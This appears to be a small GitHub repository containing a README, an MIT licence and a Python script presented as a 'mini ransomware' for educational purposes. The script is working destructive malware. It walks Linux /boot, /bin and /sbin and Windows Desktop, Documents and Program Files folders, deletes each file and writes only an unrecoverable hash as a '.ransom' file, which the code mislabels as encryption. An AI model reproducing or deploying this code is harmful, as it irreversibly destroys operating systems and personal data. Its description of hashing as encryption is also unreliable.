├── README.md ├── LICENSE └── ransomproject.py /README.md: -------------------------------------------------------------------------------- 1 | # RansomWare-Project 2 | ## This is a mini ransomware made with python OOP o/ 3 | 4 | OBS: This ransom does not have descrypt mode! 5 | 6 | 7 | ### It is only for educational porposes!!! 8 | 9 | 10 | ### Only for educational porposes. If used in a bad way, I will not be responsible for your actions! 11 | I don't support nor condone illegal or unethical actions 12 | 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 ferreiraklet 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ransomproject.py: -------------------------------------------------------------------------------- 1 | import os 2 | import hashlib 3 | import socket 4 | import glob 5 | import requests 6 | import sys 7 | # import pyaes optional library 8 | class Ransom: 9 | path_dicts = { # here is the linux targets directories 10 | "bin" : "/bin", 11 | "sbin" : "/sbin" 12 | } 13 | path_boot = { # linux boot dict 14 | "boot" : "/boot" 15 | } 16 | user_path = os.getenv("HOMEPATH") 17 | windows_paths = { 18 | "test" : f"E://testes/ransom", # remove this after and replace with whatever you want 19 | "pathuwant" : "location", # remove this after and replace with whatever you want 20 | "example" : f"D:/{user_path}/Desktop", # remove this after and replace with whatever you want 21 | "example2": f"D:/{user_path}/Documents", # remove this after and replace with whatever you want 22 | "example3": f"D:/Program Files" # remove this after and replace with whatever you want 23 | } 24 | #self.publicIP = requests.get('https://api.ipify.org').text api for ip grabber 25 | 26 | def linuxboot_encrypt(self): 27 | for bins in self.path_boot.values(): 28 | self.arq = ["*"] 29 | os.chdir(bins) 30 | # stay in directory 31 | for files in self.arq: 32 | for file in glob.glob(files): 33 | try: 34 | 35 | opened = open(file, "rb") 36 | dados = opened.read() # savind file data inside variable 37 | opened.close() 38 | 39 | # encrypting 40 | 41 | os.remove(f"{os.getcwd()}/{file}") 42 | encripted_data = hashlib.sha512(dados).digest() 43 | encripted_data2 = hashlib.md5(encripted_data).digest() 44 | 45 | # saving .ransom file 46 | 47 | newfile_encripted = file + ".ransom" 48 | file_encripted = open(newfile_encripted, "wb") 49 | file_encripted.write(encripted_data2) 50 | file_encripted.close() 51 | 52 | except IsADirectoryError: 53 | continue 54 | 55 | def linux_encrypt(self): 56 | for linuxpaths in self.path_dicts.values(): 57 | self.arq = ["*"] 58 | os.chdir(linuxpaths) 59 | for files in self.arq: 60 | for file in glob.glob(files): 61 | try: 62 | 63 | opened = open(file, "rb") 64 | dados = opened.read() # saving file data inside variable 65 | opened.close() 66 | 67 | # encrypting 68 | 69 | os.remove(f"{os.getcwd()}/{file}") 70 | encripted_data = hashlib.sha512(dados).digest() 71 | encripted_data2 = hashlib.md5(encripted_data).digest() 72 | 73 | # saving .ransom file 74 | 75 | newfile_encripted = file + ".ransom" 76 | file_encripted = open(newfile_encripted, "wb") 77 | file_encripted.write(encripted_data2) 78 | file_encripted.close() 79 | 80 | except IsADirectoryError: 81 | continue 82 | except NotADirectoryError: 83 | continue 84 | except: 85 | print("oh no!") 86 | continue 87 | 88 | def windows_encrypt(self): 89 | for windowspath in self.windows_paths.values(): 90 | self.arq = ["*"] 91 | os.chdir(windowspath) 92 | dirs = os.listdir() 93 | location = os.getcwd() 94 | for dir in dirs: 95 | path_dir = f"{location}/{dir}" 96 | os.chdir(path_dir) 97 | for files in self.arq: 98 | for file in glob.glob(files): 99 | try: 100 | 101 | opened = open(file, "rb") 102 | dados = opened.read() # Saving file data inside variable 103 | opened.close() 104 | 105 | # encrypting 106 | 107 | os.remove(f"{os.getcwd()}/{file}") 108 | encripted_data = hashlib.sha512(dados).digest() 109 | encripted_data2 = hashlib.md5(encripted_data).digest() 110 | 111 | # saving .ransom file 112 | 113 | newfile_encripted = file + ".ransom" 114 | file_encripted = open(newfile_encripted, "wb") 115 | file_encripted.write(encripted_data2) 116 | file_encripted.close() 117 | 118 | except IsADirectoryError: 119 | continue 120 | except NotADirectoryError: 121 | continue 122 | except: 123 | print("oh no!") 124 | continue 125 | 126 | 127 | if __name__ == "__main__": 128 | crypt = Ransom() 129 | if sys.platform.startswith("linux") == True: # If os is special, remove this if 130 | crypt.linuxboot_encrypt() 131 | crypt.linux_encrypt() 132 | if sys.platform.startswith("Windows") == True: 133 | crypt.windows_encrypt() 134 | 135 | --------------------------------------------------------------------------------